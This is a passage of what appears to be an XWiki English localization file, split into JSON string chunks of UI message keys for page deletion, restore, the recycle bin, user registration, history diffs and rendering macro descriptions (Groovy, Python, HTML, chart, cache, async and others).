\"{0}\"", "### Deleting a page\ncore.delete=Delete\ncore.delete.title=Delete {0}\ncore.delete.backlinksWarning=The following pages contain links to the current page:{0}After deleting this page, those links will point to an empty page.\ncore.delete.orphansWarning=The following pages have this page specified as a parent:{0}After deleting this page, they will become orphaned.\ncore.delete.confirm=The deletion of a page is not reversible. Are you sure you wish to continue?\ncore.delete.confirmWithInlinks=In addition, the deletion of a page is not reversible. Are you sure you wish to continue?\ncore.delete.waitmessage=Please wait while the page is being deleted.\ncore.delete.success=The page has been deleted.\ncore.delete.error=Some errors happened:\ncore.delete.warningExtensions.title=You are about to delete pages that belong to extensions.\ncore.delete.warningExtensions.explanation=If you delete these pages, the extensions will not work anymore.\ncore.delete.warningExtensions.help=The recommended way of removing an extension is by uninstalling it with the {0}Extension Manager{1}.\ncore.delete.warningExtensions.confirm=Do you wish to continue?\ncore.delete.warningExtensions.tree.title=Pages to remove\ncore.delete.warningExtensions.tree.freePages=Pages that do not belong to any extension\ncore.delete.warningExtensions.tree.selectAll=select all\ncore.delete.warningExtensions.tree.selectNone=none\ncore.delete.warningExtensions.tree.paginationNode={0} more....\ncore.delete.warningExtensions.canceling=Canceling the delete action\ncore.delete.warningExtensions.canceled=Delete action canceled\ncore.delete.warningExtensions.timeout=The action has been canceled because we have not received any answer after 5 minutes.\ncore.delete.affectChildren=Affect children\ncore.delete.backlinks=Backlinks", "### Restoring a page\ncore.restore.title=Restore {0}\ncore.restore.includeBatch=Include the batch of documents deleted at the same time\ncore.restore.batch.doc.name=Page\ncore.restore.batch.doc.location=Location\ncore.restore.batch._actions=Actions\ncore.restore.batch._actions.delete=Delete\ncore.restore.batch._actions.restore=Restore\ncore.restore.deleter=Deleted by:\ncore.restore.deleteDate=Deleted on:\ncore.restore.batchId=Deleted Batch ID\ncore.restore.confirm.yes=Restore\ncore.restore.confirm.no=Cancel\ncore.restore.waitmessage=Please wait while the restore operation is being performed.\ncore.restore.status.notFound=The requested restore status could not be found.\ncore.restore.status.success=Restore operation was successful.\ncore.restore.status.failure=Restore failed.", "## Children of a page\ncore.children.title=Children of {0}\ncore.children.warningParentChild=Note: this page does not display the children based on the parent/child mechanism.\ncore.children.terminalPage=This page is a terminal page that cannot have children.\ncore.children.parentChildDescription=Pages having this page as parent:\ncore.children.parentChildNoChild=This page does not have any child based on the parent/child mechanism.", "## Siblings of a document\ncore.siblings.title=Siblings of {0}", "## Backlinks\ncore.backlinks.title=Backlinks to {0}\ncore.backlinks.description=Pages having a link to this page:\ncore.backlinks.noBackLink=There is no backlink to this page.", "## Events\ncore.events.create.description=A new page is created\ncore.events.delete.description=A page is deleted\ncore.events.update.description=A page is modified\ncore.events.comment.description=A comment is posted\ncore.events.appName=Pages", "core.recyclebin.showlistmsg=The following versions are in the recycle bin:\ncore.recyclebin.showListTerminalPagesMsg=The following versions of terminal pages are in the recycle bin:\ncore.recyclebin.deleter=Deleter\ncore.recyclebin.actions=Actions\ncore.recyclebin.deleteDate=Deletion Date\ncore.recyclebin.batchId=Deleted Batch ID\ncore.recyclebin.delete=Delete\ncore.recyclebin.restore=Restore\ncore.recyclebin.confirm=Are you sure you wish to move this page to the recycle bin?\ncore.recyclebin.confirmWithInlinks=Are you sure you wish to move this page to the recycle bin?\ncore.recyclebin.completelyDeleteConfirm=This action is not reversible. Are you sure you wish to continue?\ncore.recyclebin.invalidEntry=Invalid recycle bin entry.\ncore.recycleBin.shouldSkip.label=Are you sure you wish to delete this page?\ncore.recycleBin.shouldSkip.no=Delete and move to the recycle bin.\ncore.recycleBin.shouldSkip.yes=Permanently delete the page (it won't be put in the recycle bin).", "core.versions.delete.single=Delete\ncore.versions.delete.many=Delete versions\ncore.versions.delete.confirm.single=This action is not reversible. Do you want to delete version {0}?\ncore.versions.delete.confirm.many=This action is not reversible. Are you sure you wish to delete versions from {0} to {1} inclusive?\ncore.versions.delete.needselect=You need to select \"from\" and \"to\" versions to delete\ncore.versions.delete.goback=go back", "core.pdf.tableOfContents=Table of Contents", "panels.documentInformation.title=Page Information\npanels.documentInformation.syntax=Page syntax\npanels.documentInformation.includesCount={0,choice,0#No|1#One|1<{0}} included {0,choice,0#pages.|1#page:|1<pages:}\npanels.documentInformation.includesOne={0} included page:\npanels.documentInformation.includesMore={0} included pages:\npanels.documentInformation.editIncluded=Edit {0}\npanels.documentInformation.defaultLanguage=Default Language:\npanels.documentInformation.hiddenDocument=Hidden page", "panels.translation.title=Page Translations\npanels.translation.editingOriginal=You are editing the original page ({0}).\npanels.translation.editingTranslation=You are editing the following translation: {0}.\npanels.translation.editOriginalLanguage=The original language of the page is {0}.\npanels.translation.translate=Translate this page in:\npanels.translation.otherTranslations=Other translations:\npanels.translation.existingTranslations=Existing translations:", "panels.recentlyVisited.title=Recently Visited\npanels.recentlyModified.title=Recently Modified\npanels.recentlyCreated.title=Recently Created", "panels.applications.title=Applications\npanels.applications.more=More applications", "panelwizard.panelwizard=Panels\npanelwizard.placemanager=Place Manager\npanelwizard.notadmininplace=You are not admin on this place {0}.\npanelwizard.panellayoutupdate=Panel Layout Update\npanelwizard.nodirectaccess=This page is not supposed to be accessed directly. Please use the {0}.\npanelwizard.panellist=Panel List\npanelwizard.pagelayout=Page Layout\npanelwizard.nopanels=There are no panels from this category.\npanelwizard.panelColumns=Panel Columns\npanelwizard.choosepagelayout=Choose a page layout\npanelwizard.nosidecolumn=No side column\npanelwizard.leftcolumn=Left column\npanelwizard.rightcolumn=Right column\npanelwizard.bothcolumns=Both columns\npanelwizard.needadminright=You need to have administrative rights to use the Panel Wizard.\npanelwizard.paneleditor=Panel Editor\npanelwizard.tip=To drag a panel, use your mouse and click on the header of the panel. Keep your left mouse button down while you move your mouse and the panel at the same time. While you move the panel you will see in real-time where the panel will be dropped when you release your left mouse button.\npanelwizard.draganddrop=Drag and drop panels to rearrange them inside a column or between columns. To add or remove panels, drag them from the list of available panels to one of the columns or from the column into the list, respectively.\npanelwizard.save.versionComment=Updated panel layout", "#tooltip for fullscreen editing\nfullScreenTooltip=Edit in Full Screen", "### user registration\ncore.register=Register\ncore.register.title=Registration\ncore.register.welcome=Sign up here so you can edit pages and participate in the wiki.\ncore.register.passwordMismatch=Passwords are different or password is empty.\ncore.register.userAlreadyExists=User already exists.\ncore.register.invalidUsername=Invalid username provided. Please use only letters from the latin alphabet, numbers, and the underscore character '_'.\ncore.register.mailSenderWronglyConfigured=The user has been created but the validation email has not been sent. Please check the Mail Sending Configuration and consider recreating the user.\ncore.register.registerFailed=Registration has failed due to unknown reasons. (Error code: {0})\ncore.register.successful={0} ({1}): Registration successful.\ncore.register.firstName=First Name\ncore.register.lastName=Last Name\ncore.register.username=Username\ncore.register.password=Password\ncore.register.passwordRepeat=Confirm Password\ncore.register.email=Email Address\ncore.register.submit=Register", "", "\n# User account validation\ncore.users.activation.validationKey.label=Validation key:", "# Misc about users\ncore.users.unknownUser=Unknown User\ncore.users.disable.saveComment=Disable user account\ncore.users.enable.saveComment=Enable user account", "###Validation\ncore.validation.required=(Required)\ncore.validation.required.message=This field is required.\ncore.validation.required.message.terminal=This field is required for terminal pages.\ncore.validation.valid.message=Ok.", "# Captcha \ncore.captcha.captchaAnswerIsWrong=Incorrect answer, please try again.\ncore.captcha.instruction=Please validate the CAPTCHA to prove you are not a robot", "# History\nweb.history.changes.raw=Raw\nweb.history.changes.rendered=Rendered\nweb.history.changes.summary=Summary\nweb.history.changes.summary.documents=Showing {0}{1} changed {1,choice,1#page|1<pages}{2}\nweb.history.changes.summary.documentProperties=Page properties\nweb.history.changes.summary.attachments=Attachments\nweb.history.changes.summary.objects=Objects\nweb.history.changes.summary.classProperties=Class properties\nweb.history.changes.summary.modifiedAddedRemoved={0} modified, {1} added, {2} removed\nweb.history.changes.noChanges=No changes\nweb.history.changes.failedToCompute=Failed to compute the changes.\nweb.history.changes.details=Details\nweb.history.changes.document.title=Title\nweb.history.changes.document.parent=Parent\nweb.history.changes.document.hidden=Hidden\nweb.history.changes.document.defaultLocale=Default language\nweb.history.changes.document.syntax=Syntax\nweb.history.changes.document.content=Content\nweb.history.changes.attachment.size=Size\nweb.history.changes.attachment.content=Content\nweb.history.changes.attachment.noContentChanges=Either this is not a text file or the file is too large\nweb.history.changes.privateInformation=Private information\nweb.history.changes.attachment.notAvailable=The content diff is not available. One attachment might have been deleted from the recycle bin.\nweb.history.changes.showContext=Show context\nweb.history.changes.hideContext=Hide context", "core.viewers.diff.title=Changes for page <a href=\"{1}\">{0}</a>\ncore.viewers.diff.from=From version {0}\ncore.viewers.diff.fromNew=From empty\ncore.viewers.diff.to=To version {0}\ncore.viewers.diff.editedBy=edited by {0}\ncore.viewers.diff.editedOn=on {0}\ncore.viewers.diff.editComment=Change comment:\ncore.viewers.diff.noEditComment=There is no comment for this version\ncore.viewers.diff.nextChange=Next change\ncore.viewers.diff.previousChange=Previous change\ncore.viewers.diff.nextVersion=Next version\ncore.viewers.diff.previousVersion=Previous version", "core.viewers.code.showBlame=Show last authors\ncore.viewers.code.hideBlame=Hide last authors", "####################\n# Macros\n####################", "rendering.macroContent=Content", "### Macro Categories\nrendering.macroCategory.Development=Development\nrendering.macroCategory.Navigation=Navigation\nrendering.macroCategory.Content=Content\nrendering.macroCategory.Formatting=Formatting\nrendering.macroCategory.Layout=Layout\nrendering.macroCategory.Deprecated=Deprecated\nrendering.macroCategory.Internal=Internal", "### Macro Descriptors\nrendering.macro.groovy.name=Groovy\nrendering.macro.groovy.description=Execute a groovy script.\nrendering.macro.groovy.content.description=the groovy script to execute\nrendering.macro.groovy.parameter.jars.name=jars\nrendering.macro.groovy.parameter.jars.description=List of JARs to be added to the class loader used to execute this script. Example: \"attach:wiki:space.page@somefile.jar\", \"attach:somefile.jar\", \"attach:wiki:space.page\" (adds all JARs attached to the page) or URL to a JAR\nrendering.macro.groovy.parameter.output.name=output\nrendering.macro.groovy.parameter.output.description=Specifies whether or not the output result should be inserted back in the page.\nrendering.macro.groovy.parameter.wiki.name=wiki\nrendering.macro.groovy.parameter.wiki.description=Specifies whether or not the script output contains wiki markup.\nrendering.macro.python.name=Python\nrendering.macro.python.description=Executes a python script.\nrendering.macro.python.content.description=The python script to execute\nrendering.macro.python.parameter.jars.name=jars\nrendering.macro.python.parameter.jars.description=List of JARs to be added to the class loader used to execute this script. Example: \"attach:wiki:space.page@somefile.jar\", \"attach:somefile.jar\", \"attach:wiki:space.page\" (adds all JARs attached to the page) or URL to a JAR\nrendering.macro.python.parameter.output.name=output\nrendering.macro.python.parameter.output.description=Specifies whether the output result should be inserted back in the page\nrendering.macro.python.parameter.wiki.name=wiki\nrendering.macro.python.parameter.wiki.description=Specifies whether wiki syntax in the script execution result will be rendered or not\nrendering.macro.html.name=HTML\nrendering.macro.html.description=Inserts HTML or XHTML code into the page.\nrendering.macro.html.content.description=The HTML content to insert in the page.\nrendering.macro.html.parameter.clean.name=clean\nrendering.macro.html.parameter.clean.description=Indicate if the HTML should be transformed into valid XHTML or not.\nrendering.macro.html.parameter.wiki.name=wiki\nrendering.macro.html.parameter.wiki.description=Indicate if the wiki syntax in the macro will be interpreted or not.\nrendering.macro.script.name=Script\nrendering.macro.script.description=Execute script in provided script language.\nrendering.macro.script.content.description=the script to execute\nrendering.macro.script.parameter.jars.name=jars\nrendering.macro.script.parameter.jars.description=List of JARs to be added to the class loader used to execute this script. Example: \"attach:wiki:space.page@somefile.jar\", \"attach:somefile.jar\", \"attach:wiki:space.page\" (adds all JARs attached to the page) or URL to a JAR\nrendering.macro.script.parameter.language.name=language\nrendering.macro.script.parameter.language.description=The identifier of the script language (\"groovy\", \"python\", etc)\nrendering.macro.script.parameter.output.name=output\nrendering.macro.script.parameter.output.description=Specifies whether the output result should be inserted back in the page\nrendering.macro.script.parameter.wiki.name=wiki\nrendering.macro.script.parameter.wiki.description=Specifies whether wiki syntax in the script execution result will be rendered or not\nrendering.macro.velocity.name=Velocity\nrendering.macro.velocity.description=Executes a Velocity script.\nrendering.macro.velocity.content.description=the velocity script to execute\nrendering.macro.velocity.parameter.filter.name=filter\nrendering.macro.velocity.parameter.filter.description=indicate which filtering mode to use\nrendering.macro.velocity.parameter.jars.name=jars\nrendering.macro.velocity.parameter.jars.description=List of JARs to be added to the class loader used to execute this script. Example: \"attach:wiki:space.page@somefile.jar\", \"attach:somefile.jar\", \"attach:wiki:space.page\" (adds all JARs attached to the page) or URL to a JAR\nrendering.macro.velocity.parameter.output.name=output\nrendering.macro.velocity.parameter.output.description=Specifies whether the output result should be inserted back in the page\nrendering.macro.velocity.parameter.wiki.name=wiki\nrendering.macro.velocity.parameter.wiki.description=Specifies whether wiki syntax in the script execution result will be rendered or not\nrendering.macro.toc.name=Table of contents\nrendering.macro.toc.description=Generates a table of contents.\nrendering.macro.toc.parameter.depth.name=depth\nrendering.macro.toc.parameter.depth.description=the maximum section level. For example if 3 then all section levels from 4 will not be listed\nrendering.macro.toc.parameter.numbered.name=numbered\nrendering.macro.toc.parameter.numbered.description=if true the section title number is printed\nrendering.macro.toc.parameter.scope.name=scope\nrendering.macro.toc.parameter.scope.description=if local only section in the current scope will be listed. For example if the macro is written in a section, only subsections of this section will be listed\nrendering.macro.toc.parameter.scope.value.LOCAL=Local\nrendering.macro.toc.parameter.scope.value.PAGE=Page\nrendering.macro.toc.parameter.start.name=start\nrendering.macro.toc.parameter.start.description=the minimum section level. For example if 2 then level 1 sections will not be listed\nrendering.macro.toc.parameter.reference.name=reference\nrendering.macro.toc.parameter.reference.description=Reference to the document for which to generate the table of contents. Leave empty for the current page.\nrendering.macro.id.name=Id\nrendering.macro.id.description=Allows putting a reference/location in a page. In HTML for example this is called an Anchor. It allows pointing to that location, for example in links.\nrendering.macro.id.parameter.name.name=name\nrendering.macro.id.parameter.name.description=the identifier string\nrendering.macro.putFootnotes.name=Put Footnote\nrendering.macro.putFootnotes.description=Displays the footnotes defined so far. If missing, all footnotes are displayed by default at the end of the page.\nrendering.macro.formula.name=Formula\nrendering.macro.formula.description=Displays a mathematical formula.\nrendering.macro.formula.content.description=The mathematical formula, in LaTeX syntax\nrendering.macro.formula.parameter.fontSize.name=fontSize\nrendering.macro.formula.parameter.fontSize.description=adjust font size\nrendering.macro.formula.parameter.fontSize.value.TINY=Tiny\nrendering.macro.formula.parameter.fontSize.value.VERY_SMALL=Very small\nrendering.macro.formula.parameter.fontSize.value.SMALLER=Smaller\nrendering.macro.formula.parameter.fontSize.value.SMALL=Small\nrendering.macro.formula.parameter.fontSize.value.NORMAL=Normal\nrendering.macro.formula.parameter.fontSize.value.LARGE=Large\nrendering.macro.formula.parameter.fontSize.value.LARGER=Larger\nrendering.macro.formula.parameter.fontSize.value.VERY_LARGE=Very large\nrendering.macro.formula.parameter.fontSize.value.HUGE=Huge\nrendering.macro.formula.parameter.fontSize.value.EXTREMELY_HUGE=Extremely huge\nrendering.macro.formula.parameter.imageType.name=imageType\nrendering.macro.formula.parameter.imageType.description=resulting image type\nrendering.macro.formula.parameter.imageType.value.PNG=png\nrendering.macro.formula.parameter.imageType.value.GIF=gif\nrendering.macro.formula.parameter.imageType.value.JPEG=jpeg\nrendering.macro.footnote.name=Footnote\nrendering.macro.footnote.description=Generates a footnote to display at the end of the page.\nrendering.macro.footnote.content.description=the text to place in the footnote\nrendering.macro.rss.name=RSS\nrendering.macro.rss.description=Output latest feed entries from a RSS feed.\nrendering.macro.rss.parameter.content.name=content\nrendering.macro.rss.parameter.content.description=Display content for feed entries\nrendering.macro.rss.parameter.count.name=count\nrendering.macro.rss.parameter.count.description=The maximum number of feed items to display on the page.\nrendering.macro.rss.parameter.feed.name=feed\nrendering.macro.rss.parameter.feed.description=URL of the RSS feed\nrendering.macro.rss.parameter.image.name=image\nrendering.macro.rss.parameter.image.description=If the feeds has an image associated, display it?\nrendering.macro.rss.parameter.width.name=width\nrendering.macro.rss.parameter.width.description=The width, in px or %, of the box containing the RSS output (default is 30%)\nrendering.macro.rss.parameter.encoding.name=encoding\nrendering.macro.rss.parameter.encoding.description=The encoding to use when reading the RSS Feed (guessed by default)\nrendering.macro.useravatar.name=User Avatar\nrendering.macro.useravatar.description=Allows displaying the avatar for a specific user.\nrendering.macro.useravatar.parameter.height.name=height\nrendering.macro.useravatar.parameter.height.description=the image's height\nrendering.macro.useravatar.parameter.username.name=username\nrendering.macro.useravatar.parameter.username.description=the name of the user whose avatar is to be displayed\nrendering.macro.useravatar.parameter.width.name=width\nrendering.macro.useravatar.parameter.width.description=the image's width\nrendering.macro.chart.name=Chart\nrendering.macro.chart.description=Displays a graphical chart generated from miscellaneous data sources\nrendering.macro.chart.content.description=Input data for the chart macro (e.g. for 'inline' source mode)\nrendering.macro.chart.parameter.height.name=height\nrendering.macro.chart.parameter.height.description=The height of the generated chart image\nrendering.macro.chart.parameter.params.name=params\nrendering.macro.chart.parameter.params.description=Additional parameters for the data source\nrendering.macro.chart.parameter.source.name=source\nrendering.macro.chart.parameter.source.description=The string describing the type of input data source (e.g. xdom or inline)\nrendering.macro.chart.parameter.title.name=title\nrendering.macro.chart.parameter.title.description=The title of the chart (appears on top of the chart image)\nrendering.macro.chart.parameter.type.name=type\nrendering.macro.chart.parameter.type.description=The type of the chart (e.g. pie, line, area or bar)\nrendering.macro.chart.parameter.width.name=width\nrendering.macro.chart.parameter.width.description=The width of the generated chart image\nrendering.macro.info.name=Info Message\nrendering.macro.info.description=Displays an info message note.\nrendering.macro.info.content.description=The content to put in the box.\nrendering.macro.error.name=Error Message\nrendering.macro.error.description=Displays an error message note.\nrendering.macro.error.content.description=The content to put in the box.\nrendering.macro.warning.name=Warning Message\nrendering.macro.warning.description=Displays a warning message note.\nrendering.macro.warning.content.description=The content to put in the box.\nrendering.macro.success.name=Success Message\nrendering.macro.success.description=Displays a success message note.\nrendering.macro.success.content.description=The content to put in the box.\nrendering.macro.box.name=Box\nrendering.macro.box.description=Draw a box around provided content.\nrendering.macro.box.content.description=the content to put in the box\nrendering.macro.box.parameter.cssClass.name=cssClass\nrendering.macro.box.parameter.cssClass.description=A CSS class to add to the box element\nrendering.macro.box.parameter.image.name=image\nrendering.macro.box.parameter.image.description=the image which is to be displayed in the message box\nrendering.macro.box.parameter.title.name=title\nrendering.macro.box.parameter.title.description=the title which is to be displayed in the message box\nrendering.macro.box.parameter.width.name=width\nrendering.macro.box.parameter.width.description=An optional width for the box, expressed in px or %\nrendering.macro.code.name=Code\nrendering.macro.code.description=Highlights code snippets of various programming languages\nrendering.macro.code.content.description=the content to highlight\nrendering.macro.code.parameter.cssClass.name=cssClass\nrendering.macro.code.parameter.cssClass.description=A CSS class to add to the box element\nrendering.macro.code.parameter.image.name=image\nrendering.macro.code.parameter.image.description=the image which is to be displayed in the message box\nrendering.macro.code.parameter.language.name=language\nrendering.macro.code.parameter.language.description=the language identifier (java, python, etc.)\nrendering.macro.code.parameter.layout.name=layout\nrendering.macro.code.parameter.layout.description=the layout format (plain or with line numbers)\nrendering.macro.code.parameter.title.name=title\nrendering.macro.code.parameter.title.description=the title which is to be displayed in the message box\nrendering.macro.code.parameter.width.name=width\nrendering.macro.code.parameter.width.description=An optional width for the box, expressed in px or %\nrendering.macro.context.name=Context\nrendering.macro.context.description=Executes content in the context of the passed page\nrendering.macro.context.content.description=The content to execute\nrendering.macro.context.parameter.document.name=Page\nrendering.macro.context.parameter.document.description=The reference to the page the content will be executed in.\nrendering.macro.container.name=Container\nrendering.macro.container.description=A macro to enclose multiple groups and add decoration, such as layout.\nrendering.macro.container.content.description=The content to enclose in this container (wiki syntax). For the \"columns\" layout, a group should be added for each column.\nrendering.macro.container.parameter.layoutStyle.name=layout style\nrendering.macro.container.parameter.layoutStyle.description=The identifier of the container layout (e.g. \"columns\"). If no style is provided, the container content will be rendered as is.\nrendering.macro.container.parameter.justify.name=justify\nrendering.macro.container.parameter.justify.description=Flag specifying whether the content in this container is justified or not.\nrendering.macro.container.parameter.cssClass.name=CSS Class\nrendering.macro.container.parameter.cssClass.description=Value of the HTML class attribute to add to this container, used to style in CSS.\nrendering.macro.dashboard.name=Dashboard\nrendering.macro.dashboard.description=A macro to define a dashboard to fill with gadgets.\nrendering.macro.dashboard.parameter.layout.name=layout\nrendering.macro.dashboard.parameter.layout.description=The identifier of the layout to use for this dashboard (e.g. columns, etc). If none specified, columns will be used.\nrendering.macro.dashboard.parameter.style.name=Style\nrendering.macro.dashboard.parameter.style.description=The identifier of the style to be used for this dashboard. No style means that the gadgets will be rendered plain, as content of the page. \"panels\" style will render the gadgets the same as the panels. Note that this is used as the CSS class of the top level block of the dashboard, so you can pass any value to create your own dashboard style.\nrendering.macro.dashboard.parameter.source.name=Source\nrendering.macro.dashboard.parameter.source.description=The source of the dashboard macro, as a page reference, where the gadget configurations (objects) should be read from. By default the current page will be used. Example: Dashboard.WebHome.\nrendering.macro.gallery.name=Gallery\nrendering.macro.gallery.description=Displays the images found in the provided content using a slide-show view.\nrendering.macro.gallery.content.description=The images to be displayed in the gallery. All the images found in the provided wiki content are included. Images should be specified using the syntax of the current page. Example, for XWiki 2.0 syntax: image:Space.Page@alice.png image:http://www.example.com/path/to/bob.jpg\nrendering.macro.cache.name=Cache\nrendering.macro.cache.description=Caches content.\nrendering.macro.cache.content.description=The content to cache.\nrendering.macro.cache.parameter.id.name=id\nrendering.macro.cache.parameter.id.description=A unique id under which the content is cached.\nrendering.macro.cache.parameter.timeToLive.name=timeToLive\nrendering.macro.cache.parameter.timeToLive.description=The number of seconds to cache the content.\nrendering.macro.cache.parameter.maxEntries.name=maxEntries\nrendering.macro.cache.parameter.maxEntries.description=The maximum number of entries in the cache (Least Recently Used entries are ejected).\nrendering.macro.comment.name=Comment\nrendering.macro.comment.description=Allows putting comments in the source content. This macro doesn't output anything.\nrendering.macro.comment.content.description=Comments.\n### Wiki macros, distributed with XE -- TODO: remove these translations when localization tool will be ready to inject translations at .xar import time\nrendering.macro.spaces.name=Spaces\nrendering.macro.spaces.description=Displays all the spaces in this wiki.\nrendering.macro.tagcloud.name=Tag Cloud\nrendering.macro.tagcloud.description=Displays the cloud of tags in this wiki or in the specified space, if any.\nrendering.macro.tagcloud.parameter.space.name=space\nrendering.macro.tagcloud.parameter.space.description=The space to display the tag cloud for. If missing, the tags in the whole wiki will be displayed.\nrendering.macro.tagcloud.parameter.spaces.name=Spaces\nrendering.macro.tagcloud.parameter.spaces.description=Spaces to display the tag cloud for. Space names must be separated by comma \",\" and wrapped in single quotes \"'\". (i.e. 'Space1','Space2')\nrendering.macro.activity.name=Activity\nrendering.macro.activity.description=The Activity Macro provides information about recent activities done by the users inside the XWiki instance. It lists the create, edit and delete events for pages, as well as comments, attachments and annotations.\nrendering.macro.activity.parameter.entries.name=entries\nrendering.macro.activity.parameter.entries.description=Number of entries to display the activity for.\nrendering.macro.activity.parameter.subentries.name=subentries\nrendering.macro.activity.parameter.subentries.description=Number of activities to show for each entry.\nrendering.macro.activity.parameter.wikis.name=wikis\nrendering.macro.activity.parameter.wikis.description=Comma separated list of wikis to display activity for.\nrendering.macro.activity.parameter.spaces.name=spaces\nrendering.macro.activity.parameter.spaces.description=Comma separated list of spaces to display the activity for.\nrendering.macro.activity.parameter.authors.name=authors\nrendering.macro.activity.parameter.authors.description=Comma separated list of authors whose modifications to show.\nrendering.macro.activity.parameter.tags.name=tags\nrendering.macro.activity.parameter.tags.description=Comma separated list of tags to display activity for.\nrendering.macro.activity.parameter.minor.name=minor\nrendering.macro.activity.parameter.minor.description=Whether to show modifications that create minor versions or not.\nrendering.macro.activity.parameter.rss.name=RSS\nrendering.macro.activity.parameter.rss.description=Whether to show activity RSS link or not.\nrendering.macro.spaceindex.name=Space Index\nrendering.macro.spaceindex.description=Lists the pages in a space.\nrendering.macro.spaceindex.parameter.count.name=count\nrendering.macro.spaceindex.parameter.count.description=The maximum number of pages to display. By default, up to 100 pages will be listed. If all pages should be displayed, pass 0.\nrendering.macro.spaceindex.parameter.space.name=space\nrendering.macro.spaceindex.parameter.space.description=The space to display the list of pages for. If missing, the current space will be used.\nrendering.macro.spaceindex.parameter.sort.name=sort\nrendering.macro.spaceindex.parameter.sort.description=Optional parameter to choose the sorting of the list of pages.\\nValid values are: 'creationDate': sort by creation date (default), 'modificationDate': sort by update date, or 'docName': sort alphabetically.\nrendering.macro.documents.name=Pages\nrendering.macro.documents.description=Displays a list of pages in a Livetable\nrendering.macro.documents.parameter.count.name=count\nrendering.macro.documents.parameter.count.description=Number of items to display by default\nrendering.macro.documents.parameter.actions.name=actions\nrendering.macro.documents.parameter.actions.description=Whether to show the actions columns or not\nrendering.macro.documents.parameter.space.name=space\nrendering.macro.documents.parameter.space.description=Only lists pages found in the passed space\nrendering.macro.documents.parameter.id.name=id\nrendering.macro.documents.parameter.id.description=Livetable id\nrendering.macro.documents.parameter.parent.name=parent\nrendering.macro.documents.parameter.parent.description=Only list pages having the specified parent\nrendering.macro.documents.parameter.columns.name=columns\nrendering.macro.documents.parameter.columns.description=Displays specified columns (e.g. \"doc.name,doc.author\"). The default value is \"doc.name,doc.space,doc.date,doc.author\".\nrendering.macro.attachmentSelector.name=Attachment Selector\nrendering.macro.attachmentSelector.description=A control to be used for object properties of the current page that are supposed to contain the name of an attachment from the current (or target) page. Allows uploading new attachments, and deleting attachments from the target page. If no target page is specified, the current page will be used. Object properties are only saved to the current page.\nrendering.macro.attachmentSelector.parameter.classname.name=classname\nrendering.macro.attachmentSelector.parameter.classname.description=The full name of the page holding the XClass that contains the property associated with this picker.\nrendering.macro.attachmentSelector.parameter.property.name=property\nrendering.macro.attachmentSelector.parameter.property.description=The name of the property associated with the picker.\nrendering.macro.attachmentSelector.parameter.object.name=object\nrendering.macro.attachmentSelector.parameter.object.description=The identifier (number) of the object for which the property is displayed by this picker. If missing, the first instance of the class given by the parameter classname found in the page will be considered.\nrendering.macro.attachmentSelector.parameter.cssClass.description=A CSS class for the element surrounding the property value.\nrendering.macro.attachmentSelector.parameter.cssClass.name=cssClass\nrendering.macro.attachmentSelector.parameter.savemode.description=States how the property is updated. Accepted values: \"form\" (default) meaning that the selected value is stored in an input that will be saved via an external form; \"direct\" means that the picker is responsible with updating the property value.\nrendering.macro.attachmentSelector.parameter.savemode.name=savemode\nrendering.macro.attachmentSelector.parameter.buttontext.description=Text of the button that triggers the picker. Defaults to $services.localization.render('xe.attachmentSelector.selectFile').\nrendering.macro.attachmentSelector.parameter.buttontext.name=buttontext\nrendering.macro.attachmentSelector.parameter.defaultValue.description=What attachment is displayed in view mode if the property is empty. Should either be empty or in the form of a wiki attachment reference (e.g. \"attachment.txt\", \"Another.Page@attachment.txt\").\nrendering.macro.attachmentSelector.parameter.defaultValue.name=defaultValue\nrendering.macro.attachmentSelector.parameter.filter.description=Comma separated list of file extensions accepted by the property (to become a comma separated list of mimetypes when XWiki will use HTML5). All files are accepted if this parameter is empty.\nrendering.macro.attachmentSelector.parameter.filter.name=filter\nrendering.macro.attachmentSelector.parameter.displayImage.description=States whether images are displayed or just their name is printed like for other attachments. Possible values: true, false (default).\nrendering.macro.attachmentSelector.parameter.displayImage.name=displayImage\nrendering.macro.attachmentSelector.parameter.width.description=The width of the displayed image, only taken into account if displayImage=true.\nrendering.macro.attachmentSelector.parameter.width.name=width\nrendering.macro.attachmentSelector.parameter.height.description=The height of the displayed image, only taken into account if displayImage=true.\nrendering.macro.attachmentSelector.parameter.height.name=height\nrendering.macro.attachmentSelector.parameter.alternateText.description=The alternate text of the displayed image, only taken into account if displayImage=true\nrendering.macro.attachmentSelector.parameter.alternateText.name=alternateText\nrendering.macro.attachmentSelector.parameter.link.description=States whether a link to the attachment is associated in view mode with the displayed attachment name/image. Possible values: true, false (default).\nrendering.macro.attachmentSelector.parameter.link.name=link\nrendering.macro.attachmentSelector.parameter.targetdocname.description=The target page name to save/list attachments from\nrendering.macro.attachmentSelector.parameter.targetdocname.name=targetdocname\nrendering.macro.messageSender.name=Message Sender\nrendering.macro.messageSender.description=A control that allows users to enter messages that are handled by the MessageStream module.\nrendering.macro.messageSender.parameter.visibility.name=visibility\nrendering.macro.messageSender.parameter.visibility.description=Default selected visibility when the macro is displayed.\\nIf not specified, it is determined automatically based on the page where the macro is used.\\nValid values are: 'everyone', 'followers', 'group' or 'user'.\nrendering.macro.messageSender.parameter.visibilityParameter.name=visibilityParameter\nrendering.macro.messageSender.parameter.visibilityParameter.description=Some visibility levels (like 'user' and 'group') accept a parameter. In the case of the 2 mentioned levels, the value can be a serialized reference of a user or a group page.\nrendering.macro.messageSender.parameter.visibilityOptions.name=visibilityOptions\nrendering.macro.messageSender.parameter.visibilityOptions.description=Comma separated list of visibility options that the macro should allow the user to choose from.\\nThis list should be a sublist of the default ones: 'everyone', 'followers', 'group', 'user'.\nrendering.macro.async.name=Async macro\nrendering.macro.async.description=Execute asynchronously and/or cache the macro content.\nrendering.macro.async.content.description=The wiki content to execute.\nrendering.macro.async.parameter.async.name=Async\nrendering.macro.async.parameter.async.description=Enable or disable asynchronous execution\nrendering.macro.async.parameter.cached.name=Cached\nrendering.macro.async.parameter.cached.description=Enable or disable caching of the result of the macro content execution\nrendering.macro.async.parameter.contextEntries.name=Context entries\nrendering.macro.async.parameter.contextEntries.description=The list of context elements needed for the execution (wiki, user, locale, request.base, doc.reference...)\nrendering.macro.async.parameter.id.name=Id override\nrendering.macro.async.parameter.id.description=A unique id is automatically generated by default but it's possible to provide a custom one if needed", "####################\n# Async\n####################", "rendering.async.context.entry.author=Author\nrendering.async.context.entry.doc.reference=Document\nrendering.async.context.entry.wiki=Wiki\nrendering.async.context.entry.secureDocument=Secure document\nrendering.async.context.entry.request.parameters=Request parameters\nrendering.async.context.entry.request.url=Request URL\nrendering.async.context.entry.request.base=Request base URL\nrendering.async.context.entry.request.wiki=Request 